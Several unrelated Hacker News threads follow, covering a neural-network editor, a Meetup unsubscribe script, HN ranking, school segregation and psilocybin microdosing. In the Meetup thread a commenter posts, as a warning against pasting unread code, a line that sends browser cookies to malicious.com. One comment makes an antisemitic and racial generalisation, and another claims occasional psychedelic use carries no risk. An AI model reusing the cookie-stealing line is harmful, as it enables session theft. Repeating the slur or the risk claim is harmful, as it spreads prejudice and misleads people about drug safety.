</comment></comment><comment><USER4> Really awesome and will be super helpful as a teaching aide for ML/Deep learning classes!

</comment><comment><USER5> Hi, the message on mobile has two errors:

"Appologies AiFiddle currently does not support mobile device.

Do you want to get notified on futur updates ?"

'Apologies' and 'future'.

Looks promising though, will check back when on desktop.

</comment><comment><USER6> Very nice concept. This has the potential to be a great teach / prototyping tool

</comment><comment><USER7> I'm not a machine learning engineer, so I'll ask the dumb question: why is visualizing this flow important? What's the benefit?

<comment><USER8> If by flow you mean the tensor sizes in different layers, that's a huge help for debugging, or when rewriting the net in a another framework. For debugging, you're otherwise stuck with opaque (for beginners) messages about tensor dimensions not matching. Visualizing makes the mismatches obvious, so it's common to draw the tensor sizes on paper, exactly what that visualization does.

</comment></comment><comment><USER9> Really nice - really like it for just fiddling around with models.

One missing feature would be an "undo" function - I accidentally deleted a layer and couldn't find a way to undelete it?

Edit: just found an error when trying to actually train a network:

TypeError: Argument 1 of WebGL2RenderingContext.clientWaitSync is not an object.

This was doing a very simple MNIST->dense(200)->dense(1)->output model using Firefox 65

<comment><AUTHOR> Thanks for reporting. I haven't done a lot of testing outside of Chrome, will check this out.

</comment></comment><comment><USER10> This is really well done.

I've got to mention two missing features that I find important:

1 - help popups: it will be nice if terms had a small help icon that can display a little context on hover/press (that's a quick win, makes unknown things usable, much easier to implement than a full manual/interactive tutorial)

2 - social login / email-only login: you are missing sign-ups (I hate having more passwords).

<comment><AUTHOR> 1- Indeed. Part of the vision for AiFiddle is to make a educational tool.

2- Yep fairly easy win too as I am using Cognito for auth.

Thanks for the feedback

<comment><USER11> Yes please! I have no idea what I'm doing (ok only a little), and finally got the dimensions to match and have trainable layers, and now I am informed that 't.slice is not a function'. Hm. Maybe still a dimension problem somewhere.

<comment><AUTHOR> might actually be a bug, if you can save the model and send me the URL I will check it out

<comment><USER11> As I said, I don't really know what I'm doing.. The editor crashed while I was playing with it, so I remade the model here: (still the same error)

[https://editor.aifiddle.io/models/cloud/9f33d272-5aab-40eb-8...](https://editor.aifiddle.io/models/cloud/9f33d272-5aab-40eb-82c5-d9cff59f67e8)

Maybe the last reshape is not actually legal since it reduces the number of values?

edit: Yes, I think that's it. Using Dense instead works.

<comment><AUTHOR> Yes looks like it. I make a note to handle that more gracefully

</comment></comment></comment></comment></comment></comment><comment><USER12> If you want your model to train 20x faster, continuously move your mouse up and down the far left menu, or open the outline and madly expand/collapse the options for a layer :D

edit: turbo mode: keep v8 at full speed:

function sleep(ms) {return new Promise(resolve => setTimeout(resolve, ms));}; while (true) {console.log(document.getElementsByClassName("content").length); await sleep(20)};

<comment><AUTHOR> That would be really awesome. Do you have a source as to why this would work ?

<comment><USER12> I'm using chrome, I think the javascript engine is slowing down because it doesn't detect enough user interaction/"load"? Obviously, I'm not a fulltime web/browser developer. Hit F12, open the console, and paste in that javascript, and it will continuously run at the elevated speed, as long as it's the active tab in the current window. Break the tab out into its own window, and it will run in the background at full speed. The snippet is making a trivial call on one of the elements 50x per second, like a very gentle busy loop.

On a really basic MNIST model, 784->32dense->10dense, batch size 100, I'm getting about 2 batches per second idle, and 20 batches per second after running the above snippet.

To anyone who actually knows anything about web dev, please correct me with a proper explanation.

<comment><AUTHOR> I will investigate further but still very cool, thanks!

</comment></comment></comment></comment><comment><USER13> Super awesome! I had a similar idea about a year ago but never got to implement it. We need more visual and straightforward ways to create neural network architectures.

Can you currently create the architecture and run a given dataset against it? That would be very cool...

<comment><AUTHOR> Thanks! Custom dataset indeed on the todo list. The feature is half done already, I should be able to release it soon.

<comment><USER13> Awesome. Looking forward to it.

</comment></comment></comment><comment><USER14> The demo video is very compelling! Do you support proprietary datasets?

A small suggestion: the audio on the demo video was poor quality and difficult to understand. Perhaps a better microphone or higher bitrate would help.

</comment><comment><USER15> This is super awesome! Being able to export this to colab would be amazing. I'm really looking forward to this feature! Are you willing to share which web framework you used to build your site?

<comment><AUTHOR> Thanks! The frontend is made with React and Typescript, backend is AWS serverless

<comment><USER15> Thank you for the information! I've been wanting to deploy a proof of concept webapp (mainly for my portfolio) using Amazon's Sagemaker but my website building skills is pretty limited besides using something like Jekyll. Do you have any recommendations on an upper level web framework?

<comment><AUTHOR> That was my first serverless app and really enjoyed it. It has some quirks but gets you up and running in no time. FYI I used serverless.com

<comment><USER15> Interesting, thank you for the advice!

</comment></comment></comment></comment></comment><comment><USER16> What is the tech stack used for the website/app? Looks great btw.

<comment><USER17> I'm also interested in tech stack used. What are you using in the backend?

<comment><USER18> AWS lambda

</comment></comment></comment><comment><USER19> Awesome work. Now make it emit keras/tf/torch code!

<comment><USER20> Had the same idea; opened a "feature request" here: [https://github.com/m4nuC/aifiddle- issues/issues/6](https://github.com/m4nuC/aifiddle-issues/issues/6)

Not sure how easy it will be to support all the types of layers on all platforms, but I think if target is Keras/PyTorch already going to be kick ass...

<comment><AUTHOR> Thanks for taking the time. Keras functional API export coming soon. The rest will follow.

</comment></comment></comment><comment><USER21> That's really great ! I had a look to the available models and played a bit with evaluating canvas and that's very nice !

</comment><comment><USER22> Editing a layer and changing the number of filters, stride or kernel size effectively changes the shape of that layer, but it should cascade a re- calculation down the path, which currently doesn't happen at least on my screen.

<comment><AUTHOR> Yes, this a known "bug". It was pretty heavy to make it work so felt back to just breaking the next node connection and adding a note to the backlog

</comment></comment><comment><USER23> This is so slick!</comment>


Saudi Arabia denies involvement in leak of Jeff Bezos' private messages - <AUTHOR> https://techcrunch.com/2019/02/10/saudi-arabia-denies-involvement-in-leak-of-jeff-bezos-private-messages/ <comment><USER2> Just as they denied with other incidencts before evidence was presented. They really blew their credibility with that botched execution. I will wait for some more cards to be shown before making a judgement.</comment>


Ask HN: Any Good Budgeting Tools? - <AUTHOR> Anyone have any recommendations for a decent budget planning tool? Ideally it would be able to pull data out of QuickBooks Online and provide for budget/forecasting of revenue and expenses for the next few years. Surely there are better ways than hand-rolling this in Excel or trying to use QB's built-in budgeting facilities. <comment><USER2> Tiller is amazing for personal

</comment><comment><USER3> For what use case?

<comment><AUTHOR> A small-to-midsize startup with < 50 employees. Medium granularity, that is to say that I don't want "R&D", but I also don't want to break out 50 lines of expense. But I would like some ability to break expenses up into a reasonable number of categories.</comment></comment>


Federal Reserve Taps BlackRock to Purchase Bonds for the Government - <AUTHOR> https://www.wsj.com/articles/federal-reserve-taps-blackrock-to-purchase-bonds-for-the-government-11585085843 <comment><USER2> Flash forward to some point in the indeterminate future:

"WSJ: BlackRock deemed Too Big to Fail by Fed, received immediate liquidity injections of..."

Whether that's in 3m or 30 years, who knows, but seems like the story always ends the same way...</comment>


One Line of JS to Unsub from All Meetup.com Emails - <AUTHOR> https://gist.github.com/drwrchrds/c098cca52b42f4335451

<comment><USER2> Make sure to read through code like this before blinding pasting into a JS console.

For instance here is my fork: [https://gist.github.com/nthitz/e0ed09c1e5142a331d3c](https://gist.github.com/nthitz/e0ed09c1e5142a331d3c)

<comment><USER3>
        .append('<iframe src="http://malicious.com/?c='+encodeURIComponent(document.cookie)+'"></iframe>')

</comment></comment><comment><USER4> Thanks a lot for this. I do not understand why it's not an option in meetup.com itself.

</comment><comment><USER5> Waitin years for such a feature!

</comment><comment><USER6> Thank you - finally.</comment>


Show HN: WebPipe – Pipe from your servers to the browser - <AUTHOR> https://webpipe.hyperngn.com/ <comment><USER2> +1 just for the "Made with <3 in Canada".

</comment><comment><AUTHOR> This is a small opensource utility built using Elixir and Server Side Events. Would love to hear feedback from HN :)

</comment><comment><USER3> Very interesting, works pretty well too. How are you guys using this?

<comment><AUTHOR> I originally had this need when we were deploying test servers and needed the ability to view the logs by the QA team.</comment></comment>


Hacker Decrypts Apple's Secure Enclave Processor (SEP) Firmware - <AUTHOR> http://www.iclarified.com/62025/hacker-decrypts-apples-secure-enclave-processor-sep-firmware <comment><AUTHOR> Better article, with developer comments:

[http://www.techrepublic.com/article/hacker-claims-to-have- de...](http://www.techrepublic.com/article/hacker-claims-to-have-decrypted- apples-secure-enclave-destroying-key-piece-of-ios-mobile-security/)

<comment><USER2> A bit of discussion on that article here: [https://news.ycombinator.com/item?id=15039460](https://news.ycombinator.com/item?id=15039460)

<comment><USER3> Thanks, we've merged these.</comment></comment></comment>


Functional Addiction - (Coping with the stress of running my own company) - <AUTHOR> https://medium.com/p/20feaa988017

<comment><USER2> stop the drugs man there's your problem right there.</comment>


Crowdfunding campaign aims to put a 30-second NASA commercial in movie theaters - <AUTHOR> http://www.theverge.com/2013/3/26/4150840/crowdfunding-campaign-30-second-nasa-commercial-movies

<comment><USER3> It says $33,000 to show in 50 movie theaters across America for 8 weeks - <USER2> always thought that in-theater advertising would cost more.

Also, I believe this is an ad that's played before the actual 'trailers' start -- when the least amount of people are in the theater. Nevertheless, a great cause - donated!</comment>


Ask HN: Baptism by fire' program when learning new language - <AUTHOR> Earlier I use to implement tower of hanoi and later client/server app, which (in my mind) would convince me that I knew the language to some degree. Obviously, every language has some unique feature which need not get exercised by these generic apps, still what is your go to application which boosts your morale with new programming language, once you implement it yourself? <comment><USER2> [https://www.programmingsimplified.com/c-program-generate- fib...](https://www.programmingsimplified.com/c-program-generate-fibonacci- series) in combination with writing tests for the output.</comment>


DNS SRV records now [May 2008] - ezequiel-garzon http://www.pantz.org/software/bind/srvdnsrecords.html

<comment> ezequiel-garzon Could somebody explain whether SRV have gained any significant adoption since 2008? The author's points seem compelling.</comment>


Segregation Now – separate and unequal education is coming back - <AUTHOR> http://www.theatlantic.com/features/archive/2014/04/segregation-now/359813/ >Segregation Now ... Sixty years after Brown v. Board of Education, the schools in Tuscaloosa, Alabama, show how separate and unequal education is coming back<p>was trying to fit in the whole subtitle. <comment><USER2> Separate and unequal has been the rule for a while now. Honors, AP, electives, etc. It's even more fundamental than race.

<comment><USER3> However, these programs all happen within the same school. The trouble in the article is due to a single school with a wide range of options being split into several smaller schools, and the predominantly black school getting worse funding.

Programs such as Honors, AP, electives, etc., are the cheapest way for any student -- regardless of socio-economic background -- to receive high-quality education. Without those programs offered at public schools, I suspect that even more upper-middle class families would transfer to private schools or schools in the suburbs.

Consider sports electives: were they not offered at public schools, the only option would be club programs, often costing thousands per year. At a public school, somewhere around $50 is all that's needed for a year's worth of participation, with coaching that can be comparable to exclusive club teams, and scholarships available for even that amount.

edit: Also, because AP programs are standardized across the country, a student that passes AP Statistics at any school will have the same chance of getting college credit at any school that offers it. This levels the playing field a lot.

</comment></comment><comment><USER4> Why not just add a separate tax for private schools that drives money directly into public schools. They will increase their tuition accordingly, because profit, and more affluent families will think twice about public schools. The rich would still be able to afford private schools and would help out funding public schools.

I'm all for the live and let live philosophy but education and healthcare are things that make a better society. Mostly I just want there to be less stupid people. That would, selfishly, make my life better.

</comment><comment><USER5> Bad education systems for poor people has a been a problem since the beginning of time. However, given the times we live in now, one can more easily take matters into their own hands and take corrective action.

e.g. if you have a bum math teacher, just log onto youtube and watch some Khan Academy lectures.

of course, the Internet is not a panacea, but it can narrow the education gap much more effectively than most anything other method. As cited, the internet is much better at helping rectify bad or lax teaching methods than creating a safe learning environment. i.e. It can't do much about bullies stealing your lunch money, or having to dodge stray bullets on the walk to school.

</comment><comment><USER6> The rich White/Jewish liberals who write these articles, and enforce these laws, could never stomach 1/10'th of the integration they force on poor and middle class Whites.

<comment><AUTHOR> I thought about this long and hard because I really don't want it to be true. A lot of states fund prized "math and science" and magnate high schools, and those usually try to represent the demographics of the state. Then I looked up one of the most famous of such high schools and saw the black student population is less than 2%.

[http://en.wikipedia.org/wiki/Thomas_Jefferson_High_School_fo...](http://en.wikipedia.org/wiki/Thomas_Jefferson_High_School_for_Science_and_Technology#Student_diversity)

<comment><USER7> > A lot of states fund prized "math and science" and magnate [sic] high > schools

Magnate : a person of rank, power, influence, or distinction often in a specified area

Magnet : a piece of material (such as iron or steel) that is able to attract certain metals

</comment></comment></comment><comment><USER8> Hopefully we have a broader debate about these things as a country. While many of the overtly racist laws have been gone since the 60's, racist local policies continue. We should take the chance to look past racism and see the classism evident in Tuscaloosa. Rich people shouldn't segregate themselves from the poor people in their communities any more than white people should segregate themselves from black people. We're all better off when we help each other.

<comment><USER9> "Rich people shouldn't segregate themselves from the poor people in their communities"

Says who? On which authority?

What if poor people want to segregate themselves?

Live and let live. Individual freedom is more important than society considerations

<comment><USER8> Me. But with no authority. My individual opportunities are far greater if I'm part of a society that ensures equal opportunity for all. Much like how having a large population of immunized individuals far outweighs an individuals rights to not receive immunizations, living in a population where no one is allowed to attend an inferior school improves my own life opportunity. Educated people live longer, healthier and more peaceful and productive lives -- I would personally benefit in a scenario where everyone in my community was educated fairly.

There is no way that poor people demand to live in slums. The self-segragation idea is insulting and couldn't be supported by even an uninformed hypothesis.

<comment><USER10> You end up in, essentially, an philosophical debate over what issues are most important - don't go there. Such debates cannot be resolved (in the same way that the halting problem cannot be resolved) because they rest on fundamental disagrements about axioms of morality.

<comment><USER8> You're saying that the issue of "who's segregating from whom?" is unsolvable? Probably. It's also irrelevant.

Looking purely at the effects of segregation should answer if it's a good idea. For an individual it's possible to benefit from segregation but as a group we're worse-off. Arbitrarily picking out second-class citizens and lowering their opportunities is a short-sighted idea even if in the near term that means that more resources can be used to advance your own interests. It doesn't matter if people are _choosing_ to be disenfranchised, it matters that we're all hurt by it -- suicide is roundly discouraged for the same reasons.</comment></comment></comment></comment></comment>


Installed hardware statistics from Unity Web Player reports - <AUTHOR> http://unity3d.com/webplayer/hardware-stats

<comment><USER2> There's also some interesting stats on Mochi Media's site:

<http://www.mochimedia.com/zeitgeist></comment>


Ask HN: algorithm used in Hacker News, that determines the front page news - <AUTHOR>

Whats the algorithm used in Hacker News, that determines which post gets to the front page. <comment><USER2> Gravity.

Score decreases over time, so interesting news bubble up, and older/no-longer- relevant news gradually decline.

        (= gravity* 1.8 timebase* 120 front-threshold* 1
           nourl-factor* .4 lightweight-factor* .17 gag-factor* .1)

        (def frontpage-rank (s (o scorefn realscore) (o gravity gravity*))
          (* (/ (let base (- (scorefn s) 1)
                  (if (> base 0) (expt base .8) base))
                (expt (/ (+ (item-age s) timebase*) 60) gravity))
             (if (no (in s!type 'story 'poll))  .8
                 (blank s!url)                  nourl-factor*
                 (mem 'bury s!keys)             .001
                                                (* (contro-factor s)
                                                   (if (mem 'gag s!keys)
                                                        gag-factor*
                                                       (lightweight s)
                                                        lightweight-factor*
                                                       1)))))

<comment><AUTHOR> is there any relation to the vote given by people with higher karma or who is more active in the website?

</comment></comment><comment><USER3> direct copy from <http://news.ycombinator.com/item?id=4746566>

According to the link in dmgrow's comment, it's

        Score = (P-1) / (T+2)^G

where P is the number of votes, T is the time in hours since submission, and G is a power that controls the steepness/rate of decline in ranking, so popularity is decreases exponentially over time. I'm sure that YC-affiliated posts have a different ranking algorithm, considering you can't vote on them.

Some other cool algorithms are:

del.icio.us / delicious.com 's: ranked by upvotes in the last hour. I like the elegance of this solution a lot :)

reddit's "best" feature: compares the rates at which comments are upvoted to generate the probability that a comment is a good one, which is how posts with fewer votes can be ranked better than posts with more votes. It works well, in my opinion.

</comment><comment><USER4> I think there's more to it than what the other two comments described. No doubt there is human moderation on HN (beyond users flagging submissions I mean), and maybe a list of domains and keywords to keep some stories from ever hitting front page, even when the submission gets a lot of votes in a short amount of time.

Who knows what the reasons why they'd keep a story off the front page. The moderation is emo at times, even resorting to hellbanning, slowbanning etc.

Slashdot moderation is way better. It's a better overall system over there.</comment>


Amazing Lisp Books living again in Clojure - <AUTHOR> http://juliangamble.com/blog/2012/07/13/amazing-lisp-books-living-again-in-clojure/

<comment><USER2> This is a fantastic collection. Though it's more or less been rectified now, one of the problems I had starting with Clojure (which was also my first Lisp) was the lack of good documentation, and my inability to convert documentation that was for another flavor of Lisp into meaning Clojure code.

Kid's these days have it so good ;-)

</comment><comment><USER3> Looks like a new version of this one is coming out in February: [http://www.amazon.com/Common-LISP-Introduction-Symbolic- Comp...](http://www.amazon.com/Common-LISP-Introduction-Symbolic- Computation/dp/0486498204/?_encoding=UTF8&s=books&keywords=Lisp&tag=produc05-20&linkCode=ur2&qid=1357251509&camp=1789&sr=1-2&creative=9325)</comment>


Is coconut water as magical as everyone says it is? - <AUTHOR> http://luckypeach.com/food-consequences-coconut-water/

<comment><USER2> [http://en.wikipedia.org/wiki/Betteridge's_law_of_headlines](http://en.wikipedia.org/wiki/Betteridge's_law_of_headlines)

<comment><USER3> I've been answering headlines like that for years :)</comment></comment>


Amazon Aurora and Amazon RDS for PostgreSQL Are Now HIPAA-Eligible Services - <AUTHOR> https://aws.amazon.com/about-aws/whats-new/2016/11/amazon-aurora-and-amazon-rds-for-postgresql-are-now-hipaa-eligible-services/ <comment><USER2> I don't work in healthcare, but I have friends that do, and they tell me war stories of dealing with top-level IT executives that say things like "We don't allow unsecure browsers like Chrome or Firefox; only IE8 is allowed". It sounded like even using a SaaS service for some non-critical software was a big challenge.

How much acceptance now is there in the healthcare world to use cloud services like AWS?

<comment><USER3> I work at a company that delivers enterprise healthcare solutions built using AWS I am happy to report things are getting better. We are subject to a variety of audit and compliance processes but many of them are clearly designed around on-prem solutions. In any case, IE8 remains extraordinarily common. What's more common, however, is IE9/IE10 running in IE8 compat mode.</comment></comment>


The Hitchhiker's Guide to the Galaxy Game – 30th Anniversary Edition - <AUTHOR> http://www.bbc.co.uk/programmes/articles/1g84m0sXpnNCv84GpN2PLZG/the-hitchhikers-guide-to-the-galaxy-game-30th-anniversary-edition

<comment><USER2> A few notes for anyone who hasn't seen it before: This game is not very "good" in the way it's put together. It's easy to get into an unwinnable situation without realizing it. (For example, if you don't take the screwdriver from the first room all the way through to the end of the game, you can't finish the game.) But it has an incredible sense of humor, and the way it responds to your bungling is definitely funny enough to be worth playing for a while. There are lots of hidden funny things that you'll never find without a walkthrough, so here's one: [http://www.eristic.net/games/infocom/hhg.html](http://www.eristic.net/games/infocom/hhg.html)

Edit for clarity: I recommend exploring and trying out each puzzle without the walkthrough, because it's funnier that way :)

<comment><USER3> You're right on that point. I remember the first time I came across this game online. If I remember, it went something like this:

\</comment></comment><comment></comment><comment></comment><comment></comment><comment></comment><comment></comment><comment></comment><comment></comment><comment>----

 _You wake up. The room is spinning very gently round your head. Or at least it would be if you could see it which you can 't.

It is pitch black.

> get up

Very difficult, but you manage it. The room is still spinning. It dips and sways a little.

>slap self

Done.

\---- You have died ----_

\</comment><comment></comment><comment></comment><comment></comment><comment></comment><comment></comment><comment></comment><comment></comment><comment>----

I tried to play through it again, and then I made the mistake of taking the towel from Ford instead of saying the magic words "Ford, what about my home". My house was bulldozed and I died again.

I stopped playing after that. Maybe that means I'll miss out on the humor of the game, but I can't really get into a game that is so deliberately obtuse and actively hostile.

<comment><USER4> Read the book or listen to the original radio show. That will help you understand the deliberate and pervasive sarcasm, non-sequiturs, and Pythonesque absurdism (the author actually knew & hung out with the Monty Python crew).

<comment><USER3> Don't make the mistake of thinking I don't understand the humor. I've read the books, all five of them, and the humor in them is great. I just don't really care for gating that humor behind the obtuse "puzzles" of this game. I don't have the patience for that, and having to follow a step-by-step walkthrough defeats most of the purpose of it being a game in the first place.

</comment></comment></comment><comment><USER4> Still have the PC original, complete with Peril-Sensitive Sunglasses and Microscopic Invasion Starfleet (in a baggie).

This new version may be much more playable, having added a rough sketch of each scene. Bare text was great for the time, but a little imagery goes a long way.</comment>


Tiny doses of magic mushrooms can boost your problem-solving skills - <AUTHOR> https://www.mirror.co.uk/science/tiny-doses-magic-mushrooms-can-13477405 <comment><USER2> Link to the full study: [https://www.biorxiv.org/content/early/2018/08/08/384412](https://www.biorxiv.org/content/early/2018/08/08/384412)

I have not read it completely yet, but it seems it lacks any sort of blind trial and control group; hence, it fails to account for placebo effect. Given the nature of the experiment, I believe placebo effect could have significantly altered the results.

<comment><USER3> Yeah, no blinding, no placebo, in the field, small sample size and at a drug related event.

At best, this falls into the "quite interesting should probably do a proper follow up" pile.

One interesting line from the study. It says "that we did not use a control group (for obvious ethical and practical reasons)". Practical I get, there were only 38 of them in total. But ethical? What are the ethical concerns with _not_ giving people a micro dose of hallucinogenic truffles?

<comment><USER4> The control, in this case, might be giving people micro doses without telling them.

<comment><USER5> A properly designed experiment would be to tell everyone that you might give them the drug, and actually give it to half of them. The control would be the group of people that did not receive it. GP is right that there is no ethical issue.

</comment></comment></comment></comment><comment><USER6> You mean small amounts of psychedelics open you up to new perspectives on things?!?!? Shocking. Bet nobody ever figured that one out before now.

<comment><USER7> Its The Mirror, this is pretty groundbreaking for them and their audience.

</comment></comment><comment><USER8> Amount of people who would truly benefit from microdosing psilocybin: not a lot

Amount of people who will share clickbait pop science article and use it to justify a stoner vice: a lot

<comment><USER9> The high I felt from taking shrooms was the same high I felt from cannabis. Quite a disappointment, after all the build up and great expectations.

<comment><USER10> You either have access to amazing weed or crappy mushrooms.

<comment><USER9> Why not both?

</comment></comment></comment></comment><comment><USER11> This isn't really new research its discussed in the Psychedelic Explorers Guide.

[http://www.psychedelicexplorersguide.com/](http://www.psychedelicexplorersguide.com/)

(I see the account has been suspended for the micro dosing site linked from the main page).

<comment><USER12> Unrelated, but sites like these always temper the excitement for me about psychedelics. If psychedelics could really revolutionize human consciousness and open new frontiers, you would think they would be able to make a less crackpot looking site. Same with Terrance Mackena. All these people who preach psychedelics don't end up accomplishing much besides writing profusely about psychedelics. However on the other hand we have Cricks and DNA and LSD so who knows.

<comment><USER13> > If psychedelics could really revolutionize human consciousness and open new > frontiers,

Psychedelics are not magic. They typically trigger serotonin receptors.

[https://en.wikipedia.org/wiki/Psychedelic_drug](https://en.wikipedia.org/wiki/Psychedelic_drug)

This might be useful for interventions by medical experts. Like narcotics are useful for surgical interventions or antibiotics are useful against bacteria infections.

[https://www.livescience.com/16287-mushrooms-alter- personalit...](https://www.livescience.com/16287-mushrooms-alter-personality- long-term.html)

[https://www.rollingstone.com/culture/culture-features/the- ps...](https://www.rollingstone.com/culture/culture-features/the-psychedelic- miracle-128798/)

DO NOT use psychedelics to solve your problems or when you are in a bad mood. You risk a bad trip causing PTSD and panic disorder or worse.

[https://en.wikipedia.org/wiki/Bad_trip](https://en.wikipedia.org/wiki/Bad_trip)

[https://www.reddit.com/r/Drugs/comments/36gj2h/can_ptsd_be_c...](https://www.reddit.com/r/Drugs/comments/36gj2h/can_ptsd_be_caused_by_a_bad_trip/)

[https://psychonautwiki.org/wiki/Set_and_setting#Mental_State](https://psychonautwiki.org/wiki/Set_and_setting#Mental_State)

<comment><USER14> I would agree that you probably don't want to do psychedelics when severely depressed. But they can be quite helpful if you feel you're in a "rut" that you feel like you can't get out of.

<comment><USER13> I am no friend of drugs in general and psychedelics in particular.

It might work to get out of a rut but, IMO, the risks (what dosage?) are not worth it. Certainly not without professional assistance (not a shaman). The new rut might be much worse than the old rut.

Also: [https://www.psychologytoday.com/us/blog/charting-the- depths/...](https://www.psychologytoday.com/us/blog/charting-the- depths/201007/the-serotonin-theory-depression-is-collapsing)

IMO no problem is solved by psychedelics. Unless you sell them to solve your money problem.

[https://www.youtube.com/watch?v=apkbMtkwU2g](https://www.youtube.com/watch?v=apkbMtkwU2g)

<comment><USER14> There are no risks from occasional use of psychedelics. There's tons of evidence (anecdotal and published) that psychedelics can be extremely helpful.

I hate to say this, but I think you can't really speak coherently about psychedelics unless you have personal, first-hand experience.

<comment><USER13> Yes, there is evidence that psychedelics can be useful. I agree that they can be useful to give a different perspective to quit a rut, as you wrote.

Still, according to experts and many anecdotes on reddit, psychedelics are very risky (unwanted bad effects) and not safe drugs and not miracle drugs.

The risk of bad short term and long term effects depends highly on the dosage and the personal mindset and the current environment. Nobody knows in advance how your brain will react.

[https://www.reddit.com/r/drugs](https://www.reddit.com/r/drugs)

[https://www.reddit.com/r/Psychedelics](https://www.reddit.com/r/Psychedelics)

</comment></comment></comment></comment></comment></comment></comment><comment><USER15> Side-effects may include finding yourself in a gas-station bathroom at dawn, crouched in the fetal position, muttering about "making the world a better place".

<comment><USER16> When you realize that all the third party tracking scripts you pasted onto your page are _watching you too_.</comment></comment>